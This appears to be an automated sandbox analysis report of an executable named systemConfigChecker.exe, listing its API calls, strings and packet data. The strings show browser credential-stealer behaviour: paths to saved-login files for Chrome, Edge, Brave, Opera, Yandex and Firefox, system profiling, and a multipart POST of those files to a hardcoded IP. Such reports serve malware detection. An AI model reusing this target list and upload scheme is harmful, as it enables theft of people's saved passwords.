Dec 6, 2024 10:56:07.555716991 CET	2472	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 6, 2024 10:56:07.675338984 CET	2472	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0a 00 00 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 6, 2024 10:56:07.675375938 CET	2472	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 6, 2024 10:56:07.675452948 CET	4944	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:

Target ID:	0
Start time:	04:56:03
Start date:	06/12/2024
Path:	C:\Users\user\Desktop\systemConfigChecker.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\systemConfigChecker.exe"
Imagebase:	0x7ff64e130000
File size:	81'920 bytes
MD5 hash:	218954F9DD70247E51AF8A30940D5C33
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	04:56:03
Start date:	06/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff704000000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	31%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	39.3%
Total number of Nodes:	652
Total number of Limit Nodes:	6

Executed Functions

Function 00007FF64E131B50 Relevance: 178.3, APIs: 66, Strings: 35, Instructions: 1575COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF64E131520: ??0?$basic_ios@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF64E13157F
Part of subcall function 00007FF64E131520: ??0?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAA@PEAV?$basic_streambuf@DU?$char_traits@D@std@@@1@_N@Z.MSVCP140 ref: 00007FF64E13159E
Part of subcall function 00007FF64E131520: ??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF64E1315D2
Part of subcall function 00007FF64E131520: ??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAVios_base@1@AEAV21@@Z@Z.MSVCP140 ref: 00007FF64E131609
Part of subcall function 00007FF64E131520: isalnum.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF64E131648
Part of subcall function 00007FF64E131520: ?setw@std@@YA?AU?$_Smanip@_J@1@_J@Z.MSVCP140 ref: 00007FF64E13166D
Part of subcall function 00007FF64E131520: ??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@H@Z.MSVCP140 ref: 00007FF64E13169B

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF64E131C67
memcpy.VCRUNTIME140 ref: 00007FF64E131CAF
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF64E131DB1
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF64E131E02
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF64E131E53
WinHttpOpen.WINHTTP ref: 00007FF64E131E86
WinHttpConnect.WINHTTP ref: 00007FF64E131EC2
memcpy.VCRUNTIME140 ref: 00007FF64E13207E
memcpy.VCRUNTIME140 ref: 00007FF64E1321A4
GetFileAttributesW.KERNELBASE ref: 00007FF64E132254
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAV01@AEAV01@@Z@Z.MSVCP140 ref: 00007FF64E1322A7
memcpy.VCRUNTIME140 ref: 00007FF64E1324FF
memcmp.VCRUNTIME140 ref: 00007FF64E132597
memcpy.VCRUNTIME140 ref: 00007FF64E1327C6
memcpy.VCRUNTIME140 ref: 00007FF64E132BF9

Part of subcall function 00007FF64E13A0C0: memcpy.VCRUNTIME140 ref: 00007FF64E13A0F8

??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAV01@AEAV01@@Z@Z.MSVCP140 ref: 00007FF64E13301F
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF64E13302A
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF64E133031
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF64E133038
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF64E13303F
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF64E133046
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF64E13304D
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF64E133054
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF64E13305B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF64E133062
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF64E133069
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF64E133070
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF64E133077
WinHttpCloseHandle.WINHTTP ref: 00007FF64E133357
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF64E13339F
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@K@Z.MSVCP140 ref: 00007FF64E1333C6
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAV01@AEAV01@@Z@Z.MSVCP140 ref: 00007FF64E1333D6
GetLastError.KERNEL32 ref: 00007FF64E1333A6

Part of subcall function 00007FF64E1399F0: ?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140(?,00000000,00000000,?,00007FF64E1319FA), ref: 00007FF64E139AE6

WinHttpCloseHandle.WINHTTP ref: 00007FF64E1333E9
GetLastError.KERNEL32 ref: 00007FF64E1333F1
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@K@Z.MSVCP140 ref: 00007FF64E133411
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAV01@AEAV01@@Z@Z.MSVCP140 ref: 00007FF64E133421
WinHttpCloseHandle.WINHTTP ref: 00007FF64E13342A
GetLastError.KERNEL32 ref: 00007FF64E133432
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF64E13307E

Part of subcall function 00007FF64E1399F0: ?good@ios_base@std@@QEBA_NXZ.MSVCP140(?,?,00000000,00000000,?,00007FF64E1319FA), ref: 00007FF64E139A69
Part of subcall function 00007FF64E1399F0: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@XZ.MSVCP140(?,00000000,00000000,?,00007FF64E1319FA), ref: 00007FF64E139A89
Part of subcall function 00007FF64E1399F0: ?good@ios_base@std@@QEBA_NXZ.MSVCP140(?,00000000,00000000,?,00007FF64E1319FA), ref: 00007FF64E139A99
Part of subcall function 00007FF64E1399F0: ?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QEAAXH_N@Z.MSVCP140(?,00000000,00000000,?,00007FF64E1319FA), ref: 00007FF64E139B7C
Part of subcall function 00007FF64E1399F0: ?uncaught_exception@std@@YA_NXZ.MSVCP140(?,00000000,00000000,?,00007FF64E1319FA), ref: 00007FF64E139B83
Part of subcall function 00007FF64E1399F0: ?_Osfx@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAXXZ.MSVCP140(?,00000000,00000000,?,00007FF64E1319FA), ref: 00007FF64E139B90

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF64E133085
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF64E13308C
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAV01@AEAV01@@Z@Z.MSVCP140 ref: 00007FF64E1323CE

Part of subcall function 00007FF64E13B508: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF64E13B538
Part of subcall function 00007FF64E13B508: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF64E13B53E

WinHttpOpenRequest.WINHTTP ref: 00007FF64E131F1F

Part of subcall function 00007FF64E13B508: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF64E13107B), ref: 00007FF64E13B522

memcpy.VCRUNTIME140 ref: 00007FF64E1330E8
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF64E13313F
WinHttpSendRequest.WINHTTP ref: 00007FF64E13318B
WinHttpReceiveResponse.WINHTTP ref: 00007FF64E13319E
WinHttpQueryHeaders.WINHTTP ref: 00007FF64E1331D5
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@K@Z.MSVCP140 ref: 00007FF64E13324A
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAV01@AEAV01@@Z@Z.MSVCP140 ref: 00007FF64E13325A
WinHttpCloseHandle.WINHTTP ref: 00007FF64E133263
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF64E1332A2
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF64E1332F0
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF64E133338
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@K@Z.MSVCP140 ref: 00007FF64E133452
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAV01@AEAV01@@Z@Z.MSVCP140 ref: 00007FF64E133462
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF64E133494
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF64E1334DC
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF64E133519
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF64E13351F
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF64E133525
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF64E133537
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF64E13353D
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF64E133549

Strings

WinHTTP/1.0, xrefs: 00007FF64E131E7F
chromium, xrefs: 00007FF64E1322E8
name=", xrefs: 00007FF64E1327A8, 00007FF64E132BDB
" }, xrefs: 00007FF64E131D4C
chrome, xrefs: 00007FF64E1322B8
msedge, xrefs: 00007FF64E1322FD
?? ??????? ????????? ??????. HTTP ?????? ???: , xrefs: 00007FF64E133201
chromebeta, xrefs: 00007FF64E1322D0
FileData is empty, xrefs: 00007FF64E1323B1
.sqlite", xrefs: 00007FF64E132C4F
?? ??????? ???????? ????? ?? ???????., xrefs: 00007FF64E133215
--WebKitFormBoundary, xrefs: 00007FF64E131F72
?????? ??????? ??????????. HTTP ?????? ???: , xrefs: 00007FF64E1331EE
brave, xrefs: 00007FF64E132312
.json", xrefs: 00007FF64E132835
File not found: , xrefs: 00007FF64E132FE9
"; filename="login_data, xrefs: 00007FF64E1327E7, 00007FF64E132C08
?????? ???????? ?????? WinHTTP: , xrefs: 00007FF64E13343A
Content-Disposition: form-data; name="sysinfo", xrefs: 00007FF64E132095
operagx, xrefs: 00007FF64E132333
POST, xrefs: 00007FF64E131F15
/userdata, xrefs: 00007FF64E131ED8
?????? ?????????? ? ????????: , xrefs: 00007FF64E1333F9
, xrefs: 00007FF64E1321A9
fo": ", xrefs: 00007FF64E131C91
firefox, xrefs: 00007FF64E132357, 00007FF64E132590
File is found: , xrefs: 00007FF64E132271
", "ip": ", xrefs: 00007FF64E131CBE
Content-Type: multipart/form-data; boundary=WebKitFormBoundary, xrefs: 00007FF64E13317D
?????? ???????? HTTP-???????: , xrefs: 00007FF64E1333AE
?????? ???????? ???????: , xrefs: 00007FF64E133232
Content-Type: application/x-sqlite3, xrefs: 00007FF64E132DE1
Content-Type: application/json, xrefs: 00007FF64E1320AE, 00007FF64E132A47
yandex, xrefs: 00007FF64E132348
opera, xrefs: 00007FF64E132324

Memory Dump Source

Source File: 00000000.00000002.2342658416.00007FF64E131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF64E130000, based on PE: true

Associated: 00000000.00000002.2342642335.00007FF64E130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342709444.00007FF64E13E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342733213.00007FF64E145000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342765293.00007FF64E146000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff64e130000_systemConfigChecker.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$V01@$U?$char_traits@$D@std@@@std@@$??6?$basic_ostream@$Http$Concurrency::cancel_current_taskmemcpy$V01@@$CloseHandle$ErrorLastU?$char_traits@_W@std@@@std@@$?good@ios_base@std@@OpenRequest$??0?$basic_ios@??0?$basic_ostream@??0?$basic_streambuf@?flush@?$basic_ostream@_?setstate@?$basic_ios@_?setw@std@@?sputc@?$basic_streambuf@?uncaught_exception@std@@AttributesConnectD@std@@@1@_FileHeadersJ@1@_Osfx@?$basic_ostream@_QueryReceiveResponseSendSmanip@_U?$_V12@V21@@V?$basic_streambuf@Vios_base@1@isalnummallocmemcmp
String ID: $" }$", "ip": "$"; filename="login_data$--WebKitFormBoundary$.json"$.sqlite"$/userdata$?? ??????? ???????? ????? ?? ???????.$?? ??????? ????????? ??????. HTTP ?????? ???: $?????? ??????? ??????????. HTTP ?????? ???: $?????? ???????? ?????? WinHTTP: $?????? ???????? ???????: $?????? ???????? HTTP-???????: $?????? ?????????? ? ????????: $Content-Disposition: form-data; name="sysinfo"$Content-Type: application/json$Content-Type: application/x-sqlite3$Content-Type: multipart/form-data; boundary=WebKitFormBoundary$File is found: $File not found: $FileData is empty$POST$WinHTTP/1.0$brave$chrome$chromebeta$chromium$firefox$fo": "$msedge$name="$opera$operagx$yandex
API String ID: 3244378811-4092172495
Opcode ID: 6c496a129e32a4424009d45ccecc1b727d9bdd980bff025a2067f5935486c390
Instruction ID: 60a5016a034cd3f6fe49d77697c3edf67fb15d1b29bf246f6a37de8a07c58add
Opcode Fuzzy Hash: 6c496a129e32a4424009d45ccecc1b727d9bdd980bff025a2067f5935486c390
Instruction Fuzzy Hash: 7FE28D62A4CB8685FA20BB25D8403FD2361EB657A4F505731EA6D87ED9EF7CE184C700

Function 00007FF64E135D80 Relevance: 74.2, APIs: 27, Strings: 15, Instructions: 687
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetConsoleWindow.KERNELBASE ref: 00007FF64E135DC1
ShowWindow.USER32 ref: 00007FF64E135DCF

Part of subcall function 00007FF64E139610: memcpy.VCRUNTIME140(?,?,?,?,?,00007FF64E131CCF), ref: 00007FF64E139656

Part of subcall function 00007FF64E134A40: memset.VCRUNTIME140(?), ref: 00007FF64E134A96
Part of subcall function 00007FF64E134A40: memset.VCRUNTIME140(?), ref: 00007FF64E134AAA
Part of subcall function 00007FF64E134A40: memset.VCRUNTIME140(?), ref: 00007FF64E134ABE
Part of subcall function 00007FF64E134A40: memset.VCRUNTIME140(?), ref: 00007FF64E134AD2
Part of subcall function 00007FF64E134A40: memset.VCRUNTIME140(?), ref: 00007FF64E134AE3
Part of subcall function 00007FF64E134A40: RegOpenKeyExA.KERNELBASE(?), ref: 00007FF64E134B13
Part of subcall function 00007FF64E134A40: RegGetValueA.KERNELBASE ref: 00007FF64E134B4C
Part of subcall function 00007FF64E134A40: RegCloseKey.KERNELBASE ref: 00007FF64E134B89
Part of subcall function 00007FF64E134A40: RegOpenKeyExA.KERNELBASE ref: 00007FF64E134BB8
Part of subcall function 00007FF64E134A40: RegGetValueA.KERNELBASE ref: 00007FF64E134BF1

Part of subcall function 00007FF64E1383C0: memcpy.VCRUNTIME140 ref: 00007FF64E138417

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF64E135E4F
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF64E135EBD
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF64E135F2B
GlobalMemoryStatusEx.KERNELBASE ref: 00007FF64E135F5A
memset.VCRUNTIME140 ref: 00007FF64E135F6C
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@_K@Z.MSVCP140 ref: 00007FF64E135F9A
??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF64E13607C
??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF64E136089
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF64E13613E
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF64E1361AC
memcpy.VCRUNTIME140 ref: 00007FF64E1362B9
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF64E136340
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF64E13637F
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF64E1363ED
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF64E13645B

Part of subcall function 00007FF64E13B508: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF64E13107B), ref: 00007FF64E13B522

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF64E1364B3
memset.VCRUNTIME140 ref: 00007FF64E1364CB

Part of subcall function 00007FF64E136810: ??0?$basic_ios@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF64E13684A
Part of subcall function 00007FF64E136810: ??0?$basic_iostream@DU?$char_traits@D@std@@@std@@QEAA@PEAV?$basic_streambuf@DU?$char_traits@D@std@@@1@@Z.MSVCP140 ref: 00007FF64E136866
Part of subcall function 00007FF64E136810: ??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF64E136898

GetModuleFileNameA.KERNEL32 ref: 00007FF64E1364E9

Part of subcall function 00007FF64E1399F0: ?good@ios_base@std@@QEBA_NXZ.MSVCP140(?,?,00000000,00000000,?,00007FF64E1319FA), ref: 00007FF64E139A69
Part of subcall function 00007FF64E1399F0: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@XZ.MSVCP140(?,00000000,00000000,?,00007FF64E1319FA), ref: 00007FF64E139A89
Part of subcall function 00007FF64E1399F0: ?good@ios_base@std@@QEBA_NXZ.MSVCP140(?,00000000,00000000,?,00007FF64E1319FA), ref: 00007FF64E139A99
Part of subcall function 00007FF64E1399F0: ?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QEAAXH_N@Z.MSVCP140(?,00000000,00000000,?,00007FF64E1319FA), ref: 00007FF64E139B7C
Part of subcall function 00007FF64E1399F0: ?uncaught_exception@std@@YA_NXZ.MSVCP140(?,00000000,00000000,?,00007FF64E1319FA), ref: 00007FF64E139B83
Part of subcall function 00007FF64E1399F0: ?_Osfx@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAXXZ.MSVCP140(?,00000000,00000000,?,00007FF64E1319FA), ref: 00007FF64E139B90

Part of subcall function 00007FF64E1399F0: ?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140(?,00000000,00000000,?,00007FF64E1319FA), ref: 00007FF64E139AE6

Part of subcall function 00007FF64E1399F0: ?sputn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAA_JPEBD_J@Z.MSVCP140(?,00000000,00000000,?,00007FF64E1319FA), ref: 00007FF64E139B0F
Part of subcall function 00007FF64E1399F0: ?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140(?,00000000,00000000,?,00007FF64E1319FA), ref: 00007FF64E139B36

??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF64E1365E3
??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF64E1365F0
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF64E1366A5
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF64E13672C
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF64E13676E
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF64E1367C0

Part of subcall function 00007FF64E131310: ?_Xlength_error@std@@YAXPEBD@Z.MSVCP140 ref: 00007FF64E13131B

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF64E136804

Part of subcall function 00007FF64E131270: __std_exception_copy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,?,00007FF64E13B543), ref: 00007FF64E1312B4

Strings

185.237.165.97, xrefs: 00007FF64E1366C8
DISK INFO:, xrefs: 00007FF64E1360E2
PROCESSES RUNNING:, xrefs: 00007FF64E136649
Executable Path: , xrefs: 00007FF64E1364EF
USERS INFO:, xrefs: 00007FF64E136391
RAM INFO:, xrefs: 00007FF64E135F3D
CPU INFO:, xrefs: 00007FF64E135ECF
DOMAIN AND TZ INFO:, xrefs: 00007FF64E1363FF
MB, xrefs: 00007FF64E135FA3
Total Physical Memory: , xrefs: 00007FF64E135F84
IP: , xrefs: 00007FF64E13629C
@, xrefs: 00007FF64E135F4D
LOCALE INFO:, xrefs: 00007FF64E135E61
ADAPTERS INFO:, xrefs: 00007FF64E136150
MACHINE INFO:, xrefs: 00007FF64E135DF3

Memory Dump Source

Source File: 00000000.00000002.2342658416.00007FF64E131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF64E130000, based on PE: true

Associated: 00000000.00000002.2342642335.00007FF64E130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342709444.00007FF64E13E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342733213.00007FF64E145000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342765293.00007FF64E146000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff64e130000_systemConfigChecker.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$U?$char_traits@$D@std@@@std@@$memset$U?$char_traits@_W@std@@@std@@memcpy$??1?$basic_ios@??1?$basic_iostream@?good@ios_base@std@@?sputc@?$basic_streambuf@OpenValueWindow$??0?$basic_ios@??0?$basic_iostream@??0?$basic_streambuf@??6?$basic_ostream@?flush@?$basic_ostream@_?setstate@?$basic_ios@_?sputn@?$basic_streambuf@?uncaught_exception@std@@CloseConcurrency::cancel_current_taskConsoleD@std@@@1@@FileGlobalMemoryModuleNameOsfx@?$basic_ostream@_ShowStatusV01@_V12@V?$basic_streambuf@Xlength_error@std@@__std_exception_copymalloc
String ID: ADAPTERS INFO:$CPU INFO:$DISK INFO:$DOMAIN AND TZ INFO:$LOCALE INFO:$PROCESSES RUNNING:$RAM INFO:$USERS INFO:$ IP: $ MB$185.237.165.97$@$Executable Path: $MACHINE INFO:$Total Physical Memory:
API String ID: 2962708308-876331821
Opcode ID: e5511262a6129d48db9be39874ea1247c3cecd71c9e2c9411d20e8d38b17ac28
Instruction ID: 0da10e5589681210b164551de4105bca7f9441d933742fee96e6df1024792b72
Opcode Fuzzy Hash: e5511262a6129d48db9be39874ea1247c3cecd71c9e2c9411d20e8d38b17ac28
Instruction Fuzzy Hash: 9652AFA2F5CA8685FA10FB64D4403ED2361BB657A4F505632FA6D97EDADF2CD480CB00

Function 00007FF64E135510 Relevance: 58.2, APIs: 16, Strings: 17, Instructions: 470
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF64E135552
GetEnvironmentVariableW.KERNEL32 ref: 00007FF64E135580
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF64E135599
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF64E135604
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF64E13568F

Strings

\times.json, xrefs: 00007FF64E135916, 00007FF64E135938
\AppData\Roaming\Mozilla\Firefox\Profiles, xrefs: 00007FF64E13559F, 00007FF64E135624
\AppData\Local\Yandex\YandexBrowser\User Data\Default\Login Data, xrefs: 00007FF64E13576F
\logins.json, xrefs: 00007FF64E135817, 00007FF64E135839
defa, xrefs: 00007FF64E135380
\AppData\Local\BraveSoftware\Brave-Browser\User Data\Default\Login Data, xrefs: 00007FF64E13571E
\AppData\Roaming\Opera Software\Opera Stable\Login Data, xrefs: 00007FF64E135739
\AppData\Local\Chromium\User Data\Default\Login Data, xrefs: 00007FF64E1356EE
\AppData\Local\Google\Chrome Beta\User Data\Default\Login Data, xrefs: 00007FF64E1356D6
rele, xrefs: 00007FF64E1352E1
rele, xrefs: 00007FF64E1353F0
\AppData\Local\Microsoft\Edge\User Data\Default\Login Data, xrefs: 00007FF64E135706
USERPROFILE, xrefs: 00007FF64E135579
?????? ??????: , xrefs: 00007FF64E135165
\AppData\Local\Google\Chrome\User Data\Default\Login Data, xrefs: 00007FF64E1356BE
\AppData\Roaming\Opera Software\Opera GX Stable\Login Data, xrefs: 00007FF64E135754
\AppData\Roaming\Mozilla\Firefox\Profiles\, xrefs: 00007FF64E1357B5, 00007FF64E1358B4

Memory Dump Source

Source File: 00000000.00000002.2342658416.00007FF64E131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF64E130000, based on PE: true

Associated: 00000000.00000002.2342642335.00007FF64E130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342709444.00007FF64E13E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342733213.00007FF64E145000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342765293.00007FF64E146000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff64e130000_systemConfigChecker.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$EnvironmentVariablefreemalloc
String ID: ?????? ??????: $USERPROFILE$\AppData\Local\BraveSoftware\Brave-Browser\User Data\Default\Login Data$\AppData\Local\Chromium\User Data\Default\Login Data$\AppData\Local\Google\Chrome Beta\User Data\Default\Login Data$\AppData\Local\Google\Chrome\User Data\Default\Login Data$\AppData\Local\Microsoft\Edge\User Data\Default\Login Data$\AppData\Local\Yandex\YandexBrowser\User Data\Default\Login Data$\AppData\Roaming\Mozilla\Firefox\Profiles$\AppData\Roaming\Mozilla\Firefox\Profiles\$\AppData\Roaming\Opera Software\Opera GX Stable\Login Data$\AppData\Roaming\Opera Software\Opera Stable\Login Data$\logins.json$\times.json$defa$rele$rele
API String ID: 716798019-1786275549
